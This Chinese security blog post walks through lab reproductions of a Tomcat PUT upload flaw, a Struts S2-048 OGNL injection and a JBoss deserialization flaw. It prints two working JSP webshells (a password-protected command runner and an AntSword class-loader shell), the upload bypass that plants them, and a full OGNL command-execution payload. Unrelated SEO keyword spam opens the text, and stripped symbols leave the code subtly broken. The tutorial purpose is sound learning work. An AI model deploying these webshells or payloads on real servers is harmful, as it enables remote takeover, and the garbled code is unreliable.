哈尔滨网站建站模板,中国建行个人登录入口,三个小伙毕业了做购物网站的电视剧,淘宝网站首页怎么做#x1f31d;博客主页#xff1a;泥菩萨 #x1f496;专栏#xff1a;Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 Kali安装docker
安装教程
PHP攻防环境搭建
中间件
介于应用系统和系统软件之间的软件。
能为多种应用程序合作互通、资源… 博客主页泥菩萨 专栏Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 Kali安装docker
安装教程
PHP攻防环境搭建
中间件
介于应用系统和系统软件之间的软件。
能为多种应用程序合作互通、资源共享同时还能为该应用程序提供相关服务的软件
1、Tomcat
Tomcat Put方法任意写文件漏洞CVE-2017-12615
Tomcat版本7.0.0-7.0.79、8.5.19
此漏洞环境搭建
docker search cve-2017-12615 //搜索相关镜像docker pull docker.io/cved/cve-2017-12615 //把镜像拉取下来docker run -d -p 8080:8080 cved/cve-2017-12615 //启动镜像漏洞复现
先抓tomcat的包右击发送到Repeater模块
!
改成put方法上传名为1.jsp的脚本文件脚本在下面脚本内容放在请求正文里
再通过send发送这个包根据响应状态码判断包传到服务端后有没有攻击成功 状态码为201说明上传成功了
验证一下是否成功上传到根目录了所以直接访问本地ip:端口/1.jsp 发现是个空白页面说明这个文件就是存在的因为如果页面不存在返回结果是404 上面的1.jsp已经告诉了使用此脚本的密码为magedu
if(magedu.equals(request.getParameter(pwd)))又定义了i参数用来接收用户的输入写我们想执行的恶意代码
java.io.InputStream in
Runtime.getRuntime().exec(request.getParameter(i)).getInputStream();很好那么我们现在就可以来输入一些自己想执行的代码了 ls查看当前目录有那些文件
ls是Linux命令能出来结果说明底层是Linux操作系统
windows用dir查看 目前已经可以想执行什么命令就执行什么命令了成功拿下webshellweb页面上的shell 思考为什么攻击的时候加/能传输成功不加/就上传失败呢 出于安全考虑Tomcat本身不允许用户上传脚本文件但加上/后后缀名变成了.jsp/可是操作系统保存文件时文件的后缀名不能有/不过系统会自动把/抹掉以.jsp的形式保存所以上传成功可以执行 1.jsp
%if(magedu.equals(request.getParameter(pwd))){ //if(pwdmagedu)密码是magedujava.io.InputStream in
Runtime.getRuntime().exec(request.getParameter(i)).getInputStream(); //exec表示执行i用户输入的int a -1;byte[] b new byte[2048];out.print(pre);while((ain.read(b))!-1){out.println(new String(b));}out.print(/pre);}
%介绍一款工具
蚁剑
webshell图形化下面介绍结合蚁剑工具对tomcat的漏洞利用
蚁剑百度网盘
使用过程
将蚁剑漏洞的shell脚本上传至服务端 访问上传的shell.jsp若网站正常响应则上传成功否则失败 使用中国蚁剑连接 粘贴刚才上传shell.jsp后的url连接蚁剑的密码是cmd
String cls request.getParameter(cmd);双击进入服务器tomcat的配置就能随便翻阅了至此已经成功 shell.jsp
%!class U extends ClassLoader {U(ClassLoader c){super(c);}public Class g(byte[] b){return super.defineClass(b,0,b.length);}}public byte[] base64Decode(String str) throws Exception{try{Class clazz Class.forName(sun.misc.BASE64Decoder);return (byte[]) clazz.getMethod(decodeBuffer,String.class).invoke(clazz.newInstance(),str);}catch (Exception e){Class clazz Class.forName(java.util.Base64);Object decoder clazz.getMethod(getDecoder).invoke(null);return(byte[])decoder.getClass().getMethod(decode,String.class).invoke(decoder,str);}}
%
% String cls request.getParameter(cmd);if(cls ! null){new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }
%tomcat、shell、蚁剑的关系
因为tomcat存在漏洞所以可以上传shell脚本文件shell终端代码帮助攻击者实现远程命令执行的功能而这些代码的运行要依靠tomcat
漏洞原理
造成漏洞的原因
1、Tomacat的web.xml配置了可写readonlyfalse导致我们可以往服务器写PUT文件 2、Tomcat本身不允许上传jsp文件1.jsp/加了/后就不是jsp文件了系统保存文件1.jsp/ -- 1.jsp
Tomcat对jsp是做了一定处理的前面的流程中1.jsp/识别为非jsp文件而后续保存文件的时候文件名不接受/字符故而忽视掉
---------如果攻击成功只需要两步
1、绕过网站的限制
2、让我上传的这个文件得以以正确的后缀名保存到服务器里
2、Struts
是一个基于java的web应用框架被称为“漏洞之王”
S2-048远程代码执行漏洞CVE-2017-9791
漏洞原理
把该漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用
而由于 struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以执行OGNL表达式且能够调用 getText() 函数而 getText() 函数的参数输入点又可以被用户直接控制从而导致攻击者可以直接控制该点构造恶意代码并执行从而实现RCE攻击
漏洞复习
docker search s2-048 //查找镜像
docker pull docker.io/piesecurity/apache-struts2-cve-2017-5638 //拉取镜像
docker run -d -p 8081:8080 piesecurity/apache-struts2-cve-2017-5638 //启动镜像8082是vps的端口8080是容器本身的端口
!-- 容器本身的端口不可以更改但可以映射到vps的任意端口只要没有被占用 --这个环境是直接下载的struts-2.3.32的showcase部署在tomcat-8.5下。环境启动后访问http://your-ip:8081/showcase/即可查看到struts2的测试页面
触发OGNL表达式的位置是 Gangster Name 这个表单
访问Integration/Struts 1 Integration: OGNL表达式格式
${xxx}把45的运算结果返回给我们到这里已经实现命令执行了 ------为什么会使用数学运算表达式来验证命令是否执行
1、回显准确
2、对网站本身不造成危害
漏洞利用代码
%{(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess#dm):
((#container#context[com.opensymphony.xwork2.ActionContext.container]).
(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#qorg.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec
(id).getInputStream())).(#q)}
#id 返回当前用户的信息uid和gid都等于0说明是root用户 怎么挖这个漏洞
通过工具进行信息收集找到这个网站有没有struts框架
3、JBoss
JBoss 5.x/6.x 反序列化漏洞CVE-2017-12149
漏洞简介
该漏洞为 Java 反序列化错误类型存在于 Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化从而导致了攻击者可以在服务器上执行任意代码。
漏洞原理
XXX反序列化漏洞
# 序列号和反序列化的作用保证代码在传输过程中不因为格式的变化而导致不可用序列化把Java对象转换为字节序列文本的过程便于数据进行保存、传输
反序列化把字节序列恢复为Java对象的过程以实现函数、对象的调用完成代码承载的功能序列化和反序列化本身属于正常的功能并不存在问题问题在于如果Java应用对于用户输入即不可信数据做了反序列化处理那么攻击者可以通过构造恶意输入让反序列化产生非预期的对象非预期的对象在调用过程中就有可能带来任意代码执行漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEBINF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中其中doFilter函数代码如下:
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest (HttpServletRequest)request;
Principal user httpRequest.getUserPrincipal();
if ((user null) (this.readOnlyContext ! null))
{
ServletInputStream sis request.getInputStream(); //获取用户输入
ObjectInputStream ois new ObjectInputStream(sis);
MarshalledInvocation mi null;
try
{
mi (MarshalledInvocation)ois.readObject(); //漏洞点用户输入的数据没有经过过滤就直接拿来使用了
}
catch (ClassNotFoundException e)
{
throw new ServletException(Failed to read MarshalledInvocation, e);
}
request.setAttribute(MarshalledInvocation, mi);
mi.setMethodMap(this.namingMethodMap);
Method m mi.getMethod();
if (m ! null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}漏洞复现
因为最近docker镜像无法拉取所以要拉取前先去github上同步镜像源具体流程请百度下面直接给了JBoss镜像可以不用同步
Jboss镜像
导入镜像源
docker import 容器文件路径 新镜像名称:标签启动镜像
docker run -d -p 8082:8080 hackingpub/cve-2017-12149 /bin/bash run.sh首次执行时会有1~3分钟时间初始化初始化完成后访问 http://your-ip:8082/ 即可看到JBoss默认页面 漏洞利用
发现是jboss框架后使用反序列化漏洞检测工具输入ip点击检测
发现漏洞系统是linux在cmd输入想要执行的代码 怎么挖这个漏洞
通过工具进行信息收集找到这个网站有没有struts框架